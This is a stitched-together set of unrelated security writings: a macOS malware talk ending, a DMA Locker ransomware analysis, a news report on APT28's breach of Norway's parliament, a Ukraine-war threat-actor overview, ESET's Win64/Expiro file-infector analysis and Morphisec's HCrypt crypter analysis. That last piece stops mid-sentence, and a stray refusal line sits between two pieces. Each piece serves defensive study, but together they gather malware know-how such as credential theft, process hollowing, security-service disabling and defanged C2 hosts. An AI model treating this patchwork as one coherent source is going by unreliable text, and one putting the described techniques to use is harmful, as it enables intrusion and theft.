Automated, dynamic malware analysis helps to cope with rising number of macOS malware samples - Hypervisor-based methods provide strong isolation - TDP can be (ab)used to efficiently monitor function calls - Monitoring all aspects of malware execution requires in-depth knowledge - Inter-process communication can be used by evasive malware to trick dynamic analysis systems ## Thank you for your attention! Thanks to: - Patrick Wardle, objective-see.com - Jonathan Levin, *OS Internals, newosxbook.com - Icons from iconfinder.com
# DMA Locker: New Ransomware, But No Reason To Panic DMA Locker is another ransomware that appeared at the beginning of this year. For now it has been observed to be active only on a small scale – but we just want to warn you that it exists. **[UPDATE] READ ABOUT THE LATEST VERSION OF DMA LOCKER: 4.0** UPDATE [4 Feb 2016]: I apologize to everyone misguided by my rush conclusions about the crypto. After further analysis and consultation with other analysts (special thanks to @fwosar and @maciekkotowicz) I confirmed that in reality it is AES in ECB mode. Low entropy was just caused by the fact, that it encrypts separately 16 byte chunks, that are small enough to give this effect. Authors of the malware told many lies in their ransom note, but this one was true, just my mistake. The only way to recover the key is to find the original sample with key included. My goal is always to provide best quality analysis – this time I failed, but I tried to fix it as soon as possible and not let the false information spreading. ## Analyzed samples - d35344b1f48764ba083e51438121e6a9 – Polish version type 2 (from Jan 2016) <- main focus of this analysis - 4190df2af81ece296c465e245fc0caea – English version type 2 (from Jan 2016) - 6fbd3cdcafd6695c384a1119873786aa – Polish version type 1 (from Dec 2015) Special thanks to malware hunters: @PhysicalDrive0, @JAMESWT_MHT and @siri_urz for their respective help in collecting the samples! ## Behavioral analysis When deployed, the ransomware moves itself into C:\ProgramData (or C:\Documents and Settings\All Users\Dokumenty), renamed to fakturax.exe and drops another, modified copy: ntserver.exe. File faktura.exe is removed after execution. Depending on its version, it may also drop some other files in the same location. Symptoms of this ransomware can be recognized by a red window popping up on the screen. So far, it has been observed in two language versions – Polish or English. An example of the English is below: Earlier version comes with a bit different GUI (also Polish or English variant): In contrast to other ransomware that are offering a separate decrypter, DMA Locker comes with a decrypting feature built-in. It is available from the GUI with ransom note. If the user enters a key (32 characters long) in the text field and clicks the button, the program switches to the decryption mode (using supplied key): The program is not very stable and may crash during encryption. An older version has been observed to sometimes crash after finishing encryption – but before displaying any info about what happened, which may be very confusing for the victim. What makes things worse is the fact that it does not change file extensions. So, in such a case the only visible symptom will be that the attacked person cannot open some of his/her files. Newer versions also add keys to the autorun. One is to deploy a dropped copy of the program, and the other to display a ransom note in TXT format (via notepad). However, the copy of the program (DMALOCK 41:55:16:13:51:76:67:99ntserver.exe) – is not always dropped successfully and then only the TXT note may be displayed. ## Detection It is detected by Malwarebytes Anti-Malware as Ransom.DMALocker: ## Experiment In the ransom note, the authors mention that the data is encrypted by AES and RSA. Let’s look at the files. After the first look at encrypted content we can see repetitive patterns and entropy is relatively low. Left – raw bytes of original BMP, right – the same BMP encrypted by DMA Locker: Let’s compare some more files and see how they changed after being encrypted by DMA Locker. ### Example 1 – HTML files: Comparison of original files: comparison of the same files encrypted: ### Example 2 – PNG files: Comparison of original files: comparison of the same files encrypted: As we can see, when the beginnings of original files are identical, the beginnings of encrypted outputs also are. But it seems that encryption is done in some chunks – possibly 8 or 16 bytes at once. Look at the comparison of PNG files – from 0x10 they have been encrypted differently – although they both have zeros at positions 0x10, 0x11… ## Inside This ransomware is distributed without any packing and no defense against analysis has been observed. All the used strings and called API functions are in plain text. In fact, the malware even “helps” the analyst by providing a lot of debug strings describing all its activities (original + translation): - [+] Plik jest aktualnie zaszyfrowany, pomijanie.. //The file is already encrypted, skipping.. - [*] Rozmiar pliku = %I64d bajtow.. //File size = %I64d bytes.. - [+] Rozpoczeto szyfrowanie pliku: %s //Started encrypting the file: %s - [+] Zakonczono szyfrowanie pliku: %s //Finished encrypting the file: %s - [+] Rozpoczeto zapisywanie z pamieci do pliku: %s //Started dumping from memory to a file: %s - [+] Zakonczono zapisywanie z pamieci do pliku: %s //Finished dumping from memory to a file: %s - [*] Plik jest aktualnie odszyfrowany, pomijanie.. //The file is already decrypted, skipping.. - [+] Rozpoczeto deszyfrowanie pliku: %s //Started decrypting file: %s - [+] Zakonczono deszyfrowanie pliku: %s //Finished decrypting file: %s - Alokacja, error: %d //Allocation error: %d - DMA Locker - Otwieranie pliku: %d //Opening file: %d Thanks to the logs, finding important part of the code is trivial! At the beginning of the execution a new thread is deployed – whose role is to check for the presence of following processes: - rstrui.exe - ShadowExplorer.exe - sesvc.exe - cbengine.exe If any of them is detected, malware tries to terminate it. Just after deploying this thread malware logs (in Polish): “[+] Blocking processes of system recovery” Instead of a list of attacked extensions, this malware contains two blacklists. One for directories and another for file extensions: Files that contain in their path blacklisted substrings are skipped. Malware enumerates all the files – browsing first logical drives, after that network resources – trying to encrypt each and every file (except the blacklisted). A single flag decides whether the malware is in encryption or decryption mode: Encryption (as well as decryption) is deployed in a new thread. ## Encryption key The encryption key is 32 byte long. In newer version of the malware it is hard-coded at the end of the original file, and then read. However, there is a twist. During execution, two copies of the original file are dropped: fakturax.exe and ntserver.exe – but only fakturax.exe contains the key – ntserver.exe has it cleaned. After reading the key, fakturax.exe is removed and the key is lost along with it. That’s why, we can easily recover the key if, by any means, we managed to persist the original copy of the malware sample (it is not a problem if we know the source of infection, i.e in case if the malware arrived as an e-mail attachment). In the examined variant of the malware (referred as the type 2, i.e 4190df2af81ece296c465e245fc0caea) – it was enough to find the key at the end of the original sample (*WARNING: this is not the original key of this sample. It has been used just to present how it works and where the real key can be found. Before trying to recover files, make sure that you made their backup, just in case if in some other editions the algorithm would be different.) and enter it to the text field in order to get all the files back. ## Encryption algorithm Authors claimed that they used AES and RSA. How it looks from the side of code? File is encrypted chunk by chunk – single unit have 16 bytes (4 DWORDs). The key is 32 bytes long, and is preprocessed before the encryption. Both elements – the preprocessed key and a chunk of the input file – are copied to a buffer, that is supplied to the encrypting procedure. Below – a sample file: square.png processed by the encrypting function. Used key: “11111…”. (The copied chunk of the file has been selected on the picture) after encryption (output marked gray): output is then copied back to the original buffer, containing the full file. Every encrypted file has a content prefixed by “ABCXYZ11” – a magic value, used by the ransomware to recognize encrypted files (it has been introduced in the newer version). Below, we can see the sample file after being dumped on the disk. 16 byte long chunks of file are encrypted by AES in ECB mode. ## Conclusion First of all, not all what malware authors tell is true. In this case the key was neither RSA encrypted, nor randomly generated – just stored in the original file. Second – immediately removing the malware is not always the best solution – sometimes we may need it to recover the data. If you encountered a ransomware, it is better to try to gather information about it before taking any steps. In case you cannot find any information, the best way is to make a topic on the forum of your favorite vendor or contact some known analyst. We are in a constant search of samples of new threats, trying to describe and solve the problems. And remember: only some families are really nasty. Other, like i.e LeChiffre have implementation flaws allowing to recover files.
# Norway says Russian hacking group APT28 is behind August 2020 Parliament hack Russian hackers breached Norway's Parliament email accounts in August this year. APT28, one of Russia's military hacking units, was most likely responsible for hacking the email accounts of the Norwegian Parliament, the Norwegian police secret service (PST) said today. The Norwegian Parliament (Stortinget) hack was disclosed earlier this year on September 1. At the time, Stortinget director Marianne said that hackers gained access to the Parliament's email system and accessed inboxes for Stortinget employees and government elected officials. No details about the hack were made public in September, but in a follow-up in October, Foreign Minister Ine Eriksen Søreide said that initial clues suggested that the attack was most likely carried out by Russian hackers, an accusation that Moscow immediately denied. The next day, Russian Foreign Ministry spokeswoman Maria Zakharova dismissed the allegations as "a planned provocation" from Norwegian officials looking to "destroy bilateral relations" with "no evidence." Konstantin Kosachev, Head of the Russian Federation Council's Committee on Foreign Affairs, also commented on the matter, calling Oslo's accusations of Russian involvement in the Stortinget hack as "groundless." But in a PST press release today, Norway's cyber-security agency held the line with the government's initial October accusations. "The analysis shows that it is likely that the operation was carried out by a cyber actor referred to in open sources as APT28 and Fancy Bear," PST officials said. "This actor is linked to Russia's military intelligence service GRU, more specifically their 85th Special Services Center (GTsSS)," they added. PST officials said APT28 hackers breached Stortinget email accounts and tried to pivot to the Parliament's internal networks but failed. Investigators said Stortinget was to blame for the intrusion as officials and employees used weak email passwords and failed to use two-factor authentication to protect accounts. Other details about the intrusions couldn't be revealed due to the sensitive nature of the hack. PST officials said the attack against its Parliament was part of a larger APT28 campaign that began in 2019 and which targeted multiple other targets, both inside Norway and abroad. While the PST press release doesn't mention it by name, the Norwegian cyber-security agency appears to be referring to a recent Microsoft report detailing a recent shift in APT28 tactics. According to this report, from September 2019, the APT28 group started using brute-force and credentials harvesting attacks on a larger scale and began targeting Office365 accounts in order to gain access to email accounts of more than 200 private and government organizations. PST officials said that despite linking the attacks to known APT28 tactics, they weren't able to gather enough evidence to file a formal indictment, as Germany did earlier this year against an APT28 member involved in the hack of its Parliament (the Bundestag) in 2015. The APT28 group is also known in the cyber-security industry under other names, including Sofacy, Fancy Bear, Sednit, Strontium, and more. It is one of the most active Russian state-sponsored hacking groups, believed to have been involved in hacks against the Pentagon, the German Parliament, NATO, the DNC in 2016, the World Anti-Doping Agency, and many more. The group's members are subject to many indictments and international sanctions. "Although we have not seen the activity mentioned in [the PST] report, during the last years, we have researched several Sofacy operations targeting entities in Scandinavian countries," Costin Raiu, Director of the Kaspersky Global Research & Analysis Team (GReAT), told ZDNet. "It is important to mention the activities we observed are not recent and date back to 2016-2018," Raiu added. "Most recently, it would appear that Sofacy changed their TTPs, with a focus on credentials harvesting and then expanding access through cloud services and various network equipment, as opposed to their traditional endpoint infection ops. This makes them much harder to track and detect than before and especially way more difficult to attribute, due to lack of custom software artifacts," the Kaspersky security researcher said. Article updated shortly after publication with comments from Kaspersky.
I'm sorry, but I cannot assist with that.
# Ukraine CyberWar Overview As the current state of the war against Ukraine has been on everyone's mind for several weeks, InQuest Labs has been following activity on the cyber-front as well as moves made by APTs following the invasion of Ukraine. While the rest of the world is seeing the effects of this escalation with rising fuel prices and supply line hiccups, Ukrainian and Russian citizens alike are clinging onto their livelihoods due to the contempt of Russian leaders. As many within the research community have ties to and/or may be personally affected by this crisis, we felt it was necessary to share any information based on communal efforts that may save lives and contribute to bringing this conflict to a peaceful resolution. Our endeavor with this blog is to document and expose campaigns/associated TTPs as well as provide periodic updates as the situation continues to develop and actors pivot to different tactics. It is imperative that the global effort to contain and reduce the impact of Russian state-sponsored threats on the cyber-front does not waver, as further advances could mean innocent lives lost given the current circumstances. Our hope is that the information provided is able to bring those currently engaged in research efforts up to speed along with sparking interest for able minds to join the ranks. True to the message that inspired the name attributed to one of the groups that will be covered, we are committed to aiding any efforts to stuff as many invading pockets with sunflower seeds as needed to end this senseless war. Initially, we published a blog on a delivery mechanism we dubbed GlowSpark. Next, we decided to share an image via tweet that included a high-level visual of the threat landscape in an easily digestible format. As the situation on the ground unfolded, so did developments on the cyber-front. The following tweet was shared to showcase the expanding landscape. Comparing the two graphics, we can see an uptick in threat actor activity targeting Ukraine. As seen in previous Russian movements and occupations of sovereign territory, physical movements tend to follow major pushes on the cyber-front, highlighting the value of threat actor support during military operations. Usually in the form of disrupting lines of communication and/or destabilizing regional infrastructure to "soften" the target for ground forces. This last graphic is a condensed, "easy to swallow" form containing actors and threats observed up to the point of publication (2022-04-12). Below we briefly touch on the major players and their roles in this conflict. ## APT - SunFlowerSeed (NEARMISS/UNC-3715) Threat activity produced by this actor leading to the physical invasion of Ukraine was the catalyst for focusing on Russian state-sponsored/supporting threats and acted as a call to arms for the research community. - **Hermetic Wiper (FoxBlade/Trojan.KillDisk)**: Destructive malware with anti-forensic measures. - **Hermetic Wizard**: A worm that contains wiper characteristics. - **Hermetic Ransom**: Ransomware connected to PartyTicket and SonicVote. ## Ghostwriter/UNC-1151/TA445/UAC-0051 (Belarus MoD) The current regime under Belarusian president Aleksandr Lukashenko has close relations to Vladimir Putin and his administration, allowing for Belarusian state assets to be (allegedly) deployed via their Ministry of Defense. The aim of this group is to operate disinformation campaigns regarding NATO credibility, targeting primarily Russian, Ukrainian, and Polish speakers across different countries in Europe since 2017. Using spear-phishing tactics, Ghostwriter targeted members of Ukraine’s armed forces to compromise their accounts and reach out to their contacts to cover and aid more destructive attacks conducted to further Russian state interests and the actions of associated APT groups. ## MicroBackdoor MicroBackdoor is an open-source backdoor that is used for C2 communications. This means anyone may use this tool for various purposes and not just for attacks against Ukraine, though extra features have been implemented by UAC-0051 not included in the open-source version. ## Asylum Ambuscade This phishing campaign was observed operating within similar parameters as Ghostwriter/UNC-1151/TA445 activities, suggesting that this may be their work or the campaign may be connected through other means. At the time of publication, there were enough discrepancies to prevent conclusive attribution of this campaign to TA445. Primary targets chosen by Asylum Ambuscade operators differ from TA445 attributed attacks where TA445 pursued military personnel and organizations while Asylum Ambuscade set their sights on European government entities whose responsibilities are tied to transportation and logistics extending beyond military affairs such as refugee relief efforts. ## APT28 (Fancy Bear) This actor is attributed as the most prevalent and deeply connected of known Russian state-sponsored actors. Their connection to GRU, the Russian military intelligence agency tasked with intelligence gathering and espionage beyond Russian territory alongside its civilian counterpart SVR, lends credibility to their activities and attacks being directly aligned with Russian state interests. - Spear-phishing has been associated with APT28 activity using high volumes of compromised accounts along with newly created actor-controlled infrastructure. Activities directly related to the conflict in Syria, undermining Ukraine’s relations with NATO/member nations, and the 2016 U.S. presidential election. ## Sandworm/VoodooBear (GRU) This group is also tied to GRU and handles matters related to targeting entities in the energy sector dating back to 2011. Along with espionage operations, Sandworm/VoodooBear is known for destructive malware deployed against industrial control and SCADA systems such as the 2015 attack against Ukraine’s energy sector leading to widespread blackouts. - **CyclopsBlink**: Malicious Elf (Linux) executable. - Compiled for 32-bit PowerPC architecture. - Large-scale botnet targeting Small Office/Home Office network devices (routers). - Encrypted C2 communication. - Persistence via device firmware upgrade process. Note: In early April 2022, the United States government secured a court order allowing for the removal of the malware from infected devices. ## UNC-2589 (UAC-0056/SaintBear/TA471/Lorec53) This threat group has been connected to spear-phishing attempts targeting both Georgian and Ukrainian government entities using various malware. This group often targets government and critical infrastructure and tends to align with Russian state objectives, but is not confirmed with absolute certainty to be state-sponsored. - **Saint_v3**: Trojan. - **SaintBot**: Malware Loader. - **OutSteel**: Document Stealer. - **Elephant**: Malware Framework. - **GrimPlant**: GO Backdoor. - **GraphSteel**: GO Backdoor. - **Cobalt Strike Beacon**: Default malware payload for Cobalt Strike. ## AcidRain (Likely connected to Sandworm) This threat is attributed to the ELF modem wiper malware that was observed in connection to Viasat satellite attacks. Gaining access to Viasat’s KA-SAT management infrastructure, attackers were able to push AcidRain to residential modems across Europe, effectively denying internet access to regions reliant on high-throughput satellite telecom service due to lack of traditional network infrastructure resources. As the various wipers seen prior to the physical invasion shed light on cyber offensive efforts and capabilities against Ukraine, AcidRain’s impact reaches across Europe as far as disrupting remote communications to wind turbines in Germany. Along with surface-level function similarities, AcidRain shares resemblance to VPNFilter malware at the code level, the predecessor to Cyclops Blink attributed to Sandworm. This suggests a deeper connection to Russian GRU assets rather than state-sponsored activity. - **Update: 2022-04-18**: Sandworm connection with medium confidence. ## UAC–0020/Vermin Group/SPECTR A hacker collective associated with the Luhansk People’s Republic (LPR), a breakaway faction/self-proclaimed state officially designated as a terrorist organization by Ukraine. The Vermin group claims to represent "a security agency for the LPR" and has been linked to cybercrime activities aligned with Russian state goals prior to and leading into the invasion of Ukraine. This group is known for developing and deploying SPECTR malware, composed of several components/modules; targeting Ukrainian state entities. ## UAC-0026/Scarab (China) This group has been operational since 2012, possibly earlier, and is connected to Chinese threat actors that have used phishing emails with RAR attachments leading to HeaderTIP malware. Prior to the invasion, this group was observed targeting individuals worldwide; afterwards, setting their sights on targets within Ukraine using phishing lures bearing the National Police of Ukraine graphics and contact details claiming to be collecting video evidence of crimes committed by the Russian military. - Deployed custom backdoor “Scieron”, believed to be an earlier iteration of HeaderTIP. - Observed to reuse C2 infrastructure from previous malware campaigns. - Known to craft lures specific to an individual target’s locale. ## UAC-0035/InvisiMole/LoadEdge/TunnelMole This group has been observed conducting spear-phishing attacks targeting Ukraine state organizations in accordance with Russian state-aligned goals since 2013. Collaborative efforts with Gamaredon have also been seen via campaign overlap and one of the groups distributing payloads using distribution networks controlled by the other. InvisiMole is the name attributed to the spyware used to target their victims, which historically have been Russian and Ukrainian military and diplomatic entities along with other organizations across eastern Europe. LoadEdge is a backdoor written in C++, also used by the group with various command and control capabilities. TunnelMole is the name attributed to their DNS tunnel malware used to externally retrieve additional data/payloads along with exfiltrating data covertly. ## WhisperGate/DEV-0586 There are multiple WhisperGate campaigns as a result of overlap in attribution which is common within the research community. The most commonly referenced campaign is that of the destructive malware that corrupts an infected system’s master boot record and displays a fake ransomware note as the data is destroyed and cannot be recovered by paying the ransom. Microsoft Threat Intelligence Center (MSTIC) saw systems in Ukraine becoming infected on January 13, 2022; likely done so in preparation for the ground invasion. ## XakNet This group is a hacker collective, composed of "Russian patriots" claiming to not hide behind the "mask of Anonymous" and vowing to retaliate against attacks targeting Russia by inflicting similar attacks against Ukrainian targets. Their most high-profile act to date was leaking documents from Ukraine's Ministry of Foreign Affairs "exposing" a request for foreign aid in the form of equipment to protect from chemical exposure. Prior to the invasion of Ukraine, this group openly advertised offering ethical hacking guidance and instruction; afterwards stating that they are no longer teaching and defending, shifting to offensive efforts. ## Gamaredon/PrimitiveBear/Armageddon/ACTINIUM/Shuckworm (FSB) This actor has been actively targeting Ukrainian government entities since the annexation of the Crimean peninsula by Russian forces in 2013. Observed in connection to Russian appointed FSB officers assigned to Crimea, the group gradually moved from deploying malware authored by other developers to their own custom payloads. Campaigns attributed to the actor show use of a combination of compromised Russian and Ukraine domains and IPs with autonomous systems for related IPs being physically located in Russia. A notable technique seen across their distribution network allows them to restrict access and requests with timed gates set to expire when domains rotate to a new IP; signaling the end of a particular run and impeding research efforts. Based on reports from the Security Service of Ukraine, the aim of this group is to obtain intelligence information from Ukrainian security, defense, and law enforcement bodies via targeted campaigns. ## CyberCrime In addition, we want to highlight crimeware activity, as many of these groups are associated with Russian threat actors. It is very interesting that some of the physical infrastructure utilized by cybercrime outfits are geographically located on U.S. soil and used against US citizens (along with other civilian targets worldwide) to not only access but also collect funds that eventually end up back into the hands of Russian actors. Though previously the goal was simply to profit from ill-gotten gains, priorities have presumably shifted towards providing resources for Russian state assets. Sanctions that were enacted onto Russia included a number of hosting providers as well as general internet access. This caused a heavy blow as it seemed to present issues with what some refer to as “commodity threats” that hit their inboxes daily such as IcedID, Dridex, Hancitor, Qbot, Trickbot, etc. This was initially easing the burden for community individuals to focus on other threats and make connections to less popular named threats along with analysts that have to track all of this activity. The break was short-lived and now we are seeing these actors resume operations after some retooling on their infrastructure and/or access to their boxes. ## Parting Words Though this is not an exhaustive list, the content provided reveals enough to highlight where our collective gaps lie and where efforts should be focused to undermine the efforts tied to the Russian state. As previously mentioned, further developments will be added to this article as the situation continues to unfold. Our list of sources may include actors and threats to be summarized later as we gather more information and form more concrete attributions. Feel free to reach out to us with suggestions for content and information to include or elaborate on. At the time of publication, Ukrainian morale stood high as Russian military forces seemed to present itself as a paper tiger, especially in the face of the smaller Ukrainian force backed by military aid from allied nations across the globe. It is critical that global efforts on the cyber-front maintain the same unified stance if we hope to see this conflict come to a swift end and prevent any potential escalations.
# Versatile and Infectious: Win64/Expiro is a Cross-Platform File Infector Recently, our anti-virus laboratory discovered an interesting new modification of a file virus known as Expiro which targets 64-bit files for infection. File-infecting viruses are well known and have been studied comprehensively over the years, but malicious code of this type almost invariably aimed to modify 32-bit files. One such family of file viruses, called Expiro, was discovered a long time ago and it’s not surprising to see it today. However, the body of this versatile new modification is surprising because it’s fully cross-platform, able to infect 32-bit and 64-bit files (also, 64-bit files can be infected by an infected 32-bit file). According to our naming system, the virus is called Win64/Expiro.A (aka W64.Xpiro or W64/Expiro-A). In the case of infected 32-bit files, this modification is detected as Win32/Expiro.NBF. The virus aims to maximize profit and infects executable files on local, removable, and network drives. As for the payload, this malware installs extensions for the Google Chrome and Mozilla Firefox browsers. The malware also steals stored certificates and passwords from Internet Explorer, Microsoft Outlook, and from the FTP client FileZilla. Browser extensions are used to redirect the user to a malicious URL, as well as to hijack confidential information, such as account credentials or information about online banking. The virus disables some services on the compromised computer, including Windows Defender and Security Center, and can also terminate processes. Our colleagues from Symantec have also written about the most recent Expiro modification. TrendMicro also reported attacks using this virus. ## The Win64/Expiro Infector The body of the virus in a 64-bit infected file is added to the end of the new section of the executable file, called .vmp0 with a size of 512,000 bytes (on disk). To transfer control to the main body (.vmp0), the virus inserts 1,269 bytes of malicious startup code in place of the entry point. Before modifying the entry point code, the virus copies the original bytes to the beginning of the .vmp0 section. This startup code performs unpacking of the virus code into the .vmp0 section. During the infection process, the virus will prepare this startup code for insertion into the specified file and some of these instructions will be overwritten, thus ensuring the uniqueness of the .vmp0 section contents (polymorphism). In this case, the following types of instruction are subject to change: add, mov, or lea (Load Effective Address), instructions that involve direct offsets (immediate). At the end of the code, the virus adds a jump instruction which leads to the code unpacked into the .vmp0 section. Similar startup code for 32-bit files is also located in the section .vmp0. This code in x32 disassembler looks like usual code (infected file). The size of the startup code in the case of a 64-bit file is equal to 1,269 bytes, and for an x32 file is 711 bytes. The virus infects executable files, passing through the directories recursively, infecting executable files by creating a special .vir file in which the malicious code creates new file contents, and then writes it to the specified file in blocks of 64K. If the virus can’t open the file with read/write access, it tries to change the security descriptor of the file and information about its owner. The virus also infects signed executable files. After infection, files are no longer signed, as the virus writes its body after the last section, where the overlay with a digital signature is located. In addition, the virus adjusts the value of the field Security Directory in the Data Directory by setting the fields RVA and Size to 0. Accordingly, such a file can also be executed subsequently without reference to any information about digital signatures. From the point of view of process termination, Expiro is not innovative and uses an approach based on retrieving a list of processes, using API CreateToolhelp32Snapshot, and subsequent termination via OpenProcess / TerminateProcess. Expiro targets the following processes for termination: «MSASCui.exe», «msseces.exe» and «Tcpview.exe». When first installed on a system, Expiro creates two mutexes named «gazavat». In addition, the presence of the infector process can be identified in the system by the large numbers of I/O operations and high volumes of read/written bytes. Since the virus needs to see all files on the system, the infection process can take a long time, which is also a symptom of the presence of suspicious code in the system. The virus code uses obfuscation during the transfer of offsets and other variables into the API. For example, the following code uses arithmetic obfuscation while passing an argument SERVICE_CONTROL_STOP (0x1) to advapi32!ControlService, using it to disable the service. With this code, Expiro tries to disable the following services: wscsvc (Windows Security Center), windefend (Windows Defender Service), MsMpSvc (Microsoft Antimalware Service, part of Microsoft Security Essentials), and NisSrv (Network Inspection Service used by MSE). ## Win64/Expiro Payload As the payload, the virus installs a browser extension for Google Chrome and Mozilla Firefox. The manifest file for the installed Chrome extension looks like this: In the Chrome extensions directory, the directory with malicious content will be called dlddmedljhmbgdhapibnagaanenmajcm. The malicious extension uses two JavaScript scripts for it work: background.js and content.js. After deobfuscation, the code pattern of background.js looks like this. The variable HID is used for storing the OS version string and Product ID. The variable SLST is used to store a list of domains that are used to redirect the user to malicious resources. The manifest file for the Firefox extension looks like this. In the screenshot below, you can see part of the code of content.js which performs parsing of form-elements on the web page. Such an operation will help malicious code to retrieve data that has been entered by the user into forms, and may include confidential information. As a bot, the malware can perform the following actions: - change control server URLs; - execute a shell command – passes it as param to cmd.exe and returns result to server; - download and execute plugins from the internet; - download a file from the internet and save it as %commonappdata%\%variable%.exe; - implement a TCP flood DoS attack; - enumerate files matching mask \b*.dll in the %commonappdata% folder, loading each one as a library, calling export «I» from it, and loading exports «B» and «C» from it; - call plugin functions «B» and «C» from the loaded plugin; - start proxy server (SOCKS, HTTP); - set port forwarding for TCP on the local router (SOAP). Expiro tries to steal FTP credentials from the FileZilla tool by loading info from %appdata%\FileZilla\sitemanager.xml. Internet Explorer is also affected by Expiro which uses a COM object to control and steal data. If a credit card form is present on a loaded web page, malware will try to steal data from it. The malicious code checks form input data for matches to «VISA» / «MasterCard» card number format and shows a fake window with the message: “Unable to authorize. %s processing center is unable to authorize your card %s. Make corrections and try again.” This malware can also steal stored certificates with associated private keys (certificate store «MY»). ## Implications of Win64/Expiro Infecting executable files is a very efficient vector for the propagation of malicious code. The Expiro modification described here represents a valid threat both to home users and to company employees. Because the virus infects files on local disks, removable devices, and network drives, it may grow to similar proportions as the Conficker worm, which is still reported on a daily basis. In the case of Expiro, the situation is getting worse, because if a system is left with at least one infected file on it which is executed, the process of total reinfection of the entire disk will begin again. In terms of delivery of the payload, the file infector is also an attractive option for cybercrime, because viral malicious code can spread very fast. And of course, a cross-platform infection mechanism makes the range of potential victims almost universal. Big hat tip to Miroslav Babis for the additional analysis of this threat. Artem Baranov, Malware Researcher ESET Russia ## SHA1 hashes for analyzed samples: - Win64/Expiro.A - 469fcc15b70cae06f245cec8fcbf50f7c55dcc4b - Win32/Expiro.NBF - 9818d4079b9cb6b8a3208edae0ac7ad61a85d178
# Tracking HCrypt: An Active Crypter as a Service Posted by Nadav Lorber on March 16, 2021 During 2021, Morphisec identified an increased usage of the “HCrypt” crypter. In this post, we will lockpick “HCrypt” – a crypter as a service that is marketed as a FUD (fully undetectable) loader for the client’s RAT of choice. We chose to dissect the crypter’s operations along with tracking several actors that utilize it. The crypter-as-a-service model is indicative of the trend toward malware authors creating and selling code to other groups with less technical sophistication. As a result, more financially motivated threat actors can adopt better attacks if they have the money to spend. This results in many groups putting forward the bare-minimum effort required to execute sophisticated malware campaigns. ## Technical Introduction Our description of the attack chain flow follows the artifacts that are known to us. Although the initial access infection vector is missing, we have identified cases in which a VBS code is executed that leads to an .hta file execution described as Encoding.txt. The next stages involve persistence and AV evasion through PowerShell, and then the final stage consists of a standard .Net reflective loader which loads the RAT of choice. Along the way, the actors and the author use free accessible code and file sharing services such as github.com, cdn.discordapp.com, and minpic.de. Within all of its versions, the crypter maintains the same execution flow with different code tweaks in an attempt to avoid detection by AV. The above diagram covers the main Crypter functionality for several versions that we have observed since Jan 2021. ### The First HCrypt Stage: Encoding.txt ‘Encoding.txt’, along with the other .txt file names mentioned in the diagram and within this blog, refers to the specific stage internal name within the crypter application. This is usually the first stage execution (sometimes wrapped in a .vbs file). Its purpose is to elevate the execution flow to PowerShell and get the additional code by downloading it from a user-defined custom URL (the user here is the ‘actor’ who uses the crypter). ### The Second HCrypt Stage: ALL.txt This stage’s purpose is to set up persistence along with downloading, saving, and executing the next stage on the victim’s host. Usually, it can be identified by the author fingerprint, which names the code’s function “HBar.” The name of the saved file, which is also one of the focal fingerprints for this crypter, is ‘Microsoft.ps1’. Usually, this file will refer either to an AV bypass or server.txt depending on the version/configuration. If configured by the user (actor), persistence is achieved by downloading and saving a .hta or .vbs file to the victim’s “startup” directory. This script executes a 1-liner PowerShell code that executes the described Microsoft.ps1 above. Most of the observed variants download this file from a hard-coded URL within the crypter from one of the following author’s GitHub repositories. In the newer versions, the author discarded the hard-coded URL and changed it to be user-defined (actor). ### The Third HCrypt Stage: AV Bypass This PowerShell script function, usually named “HBankers,” may appear on some versions of the HCrypt attack flow. As of this writing, the AV identification functionality seems to be still in development. The flow of the attack doesn’t change with AV detection. ### The Fourth Stage: Server.txt The final PowerShell stage, often hosted as a .jpg file, decodes and executes the loader and payload. The loader and payload are hard-coded in this stage within a byte array variable, while each version saves it in a different format and names the variable differently (i.e $H1, $nam2021, $brazi). We have observed that those byte arrays contain PE files embedded in Hex, Decimal, or Base64 formats and sometimes also with character swapping as a simple encoding. Next, the PowerShell reflectively loads a .Net PE payload in a selected .Net legitimate process through invocation of the loader with given parameters. ### The Fifth HCrypt Stage: DLL Loader This is a .NET DLL that is embedded by the crypter author. The execution is via the calling convention Namespace->Class>Method defined in Server.txt. We observed that the DLL is often obfuscated by a .NET Reactor or Babel obfuscator. The purpose of this DLL is to inject the RAT payload into a hollowed .Net process. We have observed that the crypter hollowed the following processes (based on crypter version): - Regsvcs.exe - MSBuild.exe - aspnet_compiler.exe - csc.exe ### The Sixth HCrypt Stage: RAT Payload The final payload, chosen by the user, is eventually executed within the hollowed process memory. In our analysis, we have mostly seen either ASyncRAT or LimeRAT, which often come from an open-source RAT platform originally available through the NYANxCAT GitHub repository. ## Fingerprinting the Crypter’s Users (Actors) The following table emphasizes the different tactics and IOCs that were used within the different variants we observed. | Remarks | RAT | C2 Version | |---------|-----|------------| | Observed 4 different variants from the same crypter version. Each one uses different URLs from compromised sites | ASyncRAT | 100k1.ddns[.]net:7707 | | Observed 3 different variants from 2 crypter versions. Uploads the stages to Discord for using URLs hosted by cdn.discordapp.com | LimeRAT | top.killwhenabusing1[.]xyz:1125 | | Observed 3 different variants from 2 crypter versions. Uses URLs from both compromised site and minpic.de image uploading service | ASyncRAT | 194.33.45[.]109:7777 | ## Intelligence Analysis: Author Fingerprinting As part of our research, we were able to correlate 3 different YouTube channels that are used to market the following crypter. They might not be owned by the author but the following IOCs correlate between them: - Content alias: ‘Skype = live:hbankers.77’ - Market URL: ‘hxxps://sellix.io/trojan-crypt’ As mentioned in the ALL.txt stage, this channel has the same name as the function within the code. In addition to that, one of the videos within this channel is named “Crypter QuasarRAT by HBankers.” “HBankers” is also a function name from the AV bypass stage and additionally appears in the hard-coded GitHub account name mentioned above. The following video also demonstrates the usage of the URL www.minpic.de for storing the crypter stages. Some of the videos in this channel also provide ‘free’ download links for crypters via mega.nz. We have analyzed two of those crypters and found that they contain LimeRAT 0.7NC, which connects to getpass.ddns[.]net:8080 as the C2. Currently, it seems that this is the main channel that markets the crypter. We observed that the author’s behavior pattern is that whenever he publishes a new version of HCrypt, he tends to delete the older versions of the videos. The following channel markets several “crypters” along with HCrypt under the same contact alias. An interesting key here is that “NYANxCAT” is an alias of a pretty popular user in Hackforums that both sells premium hacking tools and publishes open-source RATs. Following that knowledge with some open-source analysis, we believe that this channel is a copy-cat that uses this alias for marketing purposes. On another note, while analyzing the “HBankers” variant, we came across a GitHub URL mentioning a personal name that might reveal the identity of HCrypt’s author. ## HCrypt Interface The following picture shows the main GUI interface used in several versions of HCrypt along with the point of view of the crypter user corresponding to the execution flow mentioned above. An interesting fingerprint that is hard coded within HCrypt v5.6 is the .pdb path, which assists with triaging executables that were compiled by the author. ## Conclusions HCrypt’s defense evasion techniques allow it to bypass the AV and 